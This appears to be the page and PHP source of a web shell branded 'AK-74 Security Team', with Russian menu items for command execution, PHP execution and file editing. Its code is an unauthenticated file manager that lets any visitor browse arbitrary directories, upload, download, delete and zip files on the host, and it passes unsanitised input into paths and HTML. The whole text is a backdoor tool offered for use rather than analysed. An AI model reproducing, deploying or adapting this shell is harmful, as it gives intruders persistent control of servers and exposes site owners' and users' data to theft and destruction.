.:: :[ AK-74 Security Team Web-shell ]: ::.
Общая информация
Файловый менеджер
phpinfo()
Выполнить PHP
Выполнить команду
Редактирование файла
<?php $currentDirectory = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $parentDirectory = dirname($currentDirectory); // Navigate to a specified directory if (isset($_GET['navigate'])) { $newDir = $_GET['navigate']; if (is_dir($newDir) && realpath($newDir) !== realpath(getcwd())) { $currentDirectory = realpath($newDir); } } // Create a new directory if (isset($_POST['newDir']) && !empty(trim($_POST['newDir']))) { $newDirName = $currentDirectory . '/' . trim($_POST['newDir']); if (!file_exists($newDirName)) { mkdir($newDirName); } } // Delete a file or directory if (isset($_GET['delete'])) { $fileToDelete = $currentDirectory . '/' . $_GET['delete']; if (file_exists($fileToDelete)) { is_dir($fileToDelete) ? rmdir($fileToDelete) : unlink($fileToDelete); } } // Upload a file if (isset($_FILES['fileToUpload'])) { $targetFile = $currentDirectory . '/' . basename($_FILES['fileToUpload']['name']); move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile); } // Download a file if (isset($_GET['download'])) { $file = $currentDirectory . '/' . $_GET['download']; if (file_exists($file)) { header('Content-Disposition: attachment; filename="'.basename($file).'"'); readfile($file); exit; } } // Zip a directory if (isset($_GET['zip'])) { $dirToZip = $currentDirectory . '/' . $_GET['zip']; $zipFileName = basename($dirToZip) . '.zip'; $zipFile = '/tmp/' . $zipFileName; // Save the zip file in /tmp directory $zip = new ZipArchive; if ($zip->open($zipFile, ZipArchive::CREATE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($dirToZip), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($dirToZip) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); echo "Directory zipped successfully. Zip file: $zipFile"; } else { echo "Could not create zip file."; } } // List files and directories $filesAndDirs = glob($currentDirectory . '/*'); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Enhanced File Manager</title> </head> <body> <h2>Files and Directories in <?php echo $currentDirectory; ?></h2> <!-- Navigation to Parent Directory --> <a href="?dir=<?php echo $parentDirectory; ?>">Go to Parent Directory</a> <ul> <?php foreach ($filesAndDirs as $item): ?> <li> <?php $itemName = basename($item); if (is_dir($item)) { echo "<a href='?navigate=$item'>$itemName</a>"; } else { echo $itemName; } ?> - <a href="?delete=<?php echo $itemName; ?>&dir=<?php echo $currentDirectory; ?>">Delete</a> - <a href="?download=<?php echo $itemName; ?>&dir=<?php echo $currentDirectory; ?>">Download</a> <?php if (is_dir($item)): ?> - <a href="?zip=<?php echo $item; ?>&dir=<?php echo $currentDirectory; ?>">Zip Directory</a> <?php endif; ?> </li> <?php endforeach; ?> </ul> <!-- Form for Creating New Directory --> <form action="?dir=<?php echo $currentDirectory; ?>" method="post"> <input type="text" name="newDir" placeholder="New Directory Name"> <input type="submit" value="Create Directory"> </form> <!-- Form for Uploading Files --> <form action="?dir=<?php echo $currentDirectory; ?>" method="post" enctype="multipart/form-data"> <input type="file" name="fileToUpload"> <input type="submit" value="Upload File"> </form> </body> </html>
Rename:
-